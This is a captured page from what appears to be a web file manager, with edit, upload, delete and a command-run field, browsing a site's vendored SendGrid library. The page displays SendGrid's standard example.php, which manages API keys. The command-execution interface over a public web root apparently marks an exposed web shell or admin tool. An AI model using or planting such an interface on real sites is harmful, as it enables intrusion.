/
var
/
www
/
doncode.com.ua
/
www
/
lib
/
sendgrid
/
vendor
/
sendgrid
/
php-http-client
/
examples
/
/var/www/doncode.com.ua/www/lib/sendgrid/vendor/sendgrid/php-http-client/examples
mkdir
upload
Name
Size
Mode
Actions
.env_sample
26
0644
edit
dl
rm
example.php
2191
0644
edit
dl
rm
Edit:
/var/www/doncode.com.ua/www/lib/sendgrid/vendor/sendgrid/php-http-client/examples/example.php
(2191B)
<?php // If running this outside of this context, use the following include and // comment out the two includes below // require __DIR__ . '/vendor/autoload.php'; include(dirname(__DIR__) . '/lib/Client.php'); include(dirname(__DIR__) . '/lib/Response.php'); // This gets the parent directory, for your current directory use getcwd() $path_to_config = dirname(__DIR__); $apiKey = getenv('SENDGRID_API_KEY'); $headers = ['Authorization: Bearer ' . $apiKey]; $client = new SendGrid\Client('https://api.sendgrid.com', $headers, '/v3'); // GET /v3/api_keys - retrieve all API Keys that belong to the user $queryParams = ['limit' => 100, 'offset' => 0]; $requestHeaders = ['X-Mock: 200']; $response = $client->api_keys()->get(null, $queryParams, $requestHeaders); echo $response->statusCode(); echo $response->body(); echo $response->headers(); // GET /v3/api_keys - retrieve all API Keys that belong to the user $queryParams = ['limit' => 100, 'offset' => 0]; $requestHeaders = ['X-Mock: 200']; $retryOnLimit = true; // with auto retry on rate limit $response = $client->api_keys()->get(null, $queryParams, $requestHeaders, $retryOnLimit); // POST /v3/api_keys - create a new user API Key $requestBody = [ 'name' => 'My PHP API Key', 'scopes' => [ 'mail.send', 'alerts.create', 'alerts.read' ] ]; $response = $client->api_keys()->post($requestBody); $responseBody = json_decode($response->body(), true); $apiKeyId = $responseBody['api_key_id']; // GET /v3/api_keys/{api_key_id} - retrieve a single API Key $response = $client->api_keys()->_($apiKeyId)->get(); // PATCH /v3/api_keys/{api_key_id} - update the name of an existing API Key $requestBody = [ 'name' => 'A New Hope' ]; $response = $client->api_keys()->_($apiKeyId)->patch($requestBody); // PUT /v3/api_keys/{api_key_id} - update the name and scopes of a given API Key $requestBody = [ 'name' => 'A New Hope', 'scopes' => [ 'user.profile.read', 'user.profile.update' ] ]; $response = $client->api_keys()->_($apiKeyId)->put($requestBody); // DELETE /v3/api_keys/{api_key_id} - revoke an existing API Key $response = $client->api_keys()->_($apiKeyId)->delete();
Save
cmd:
run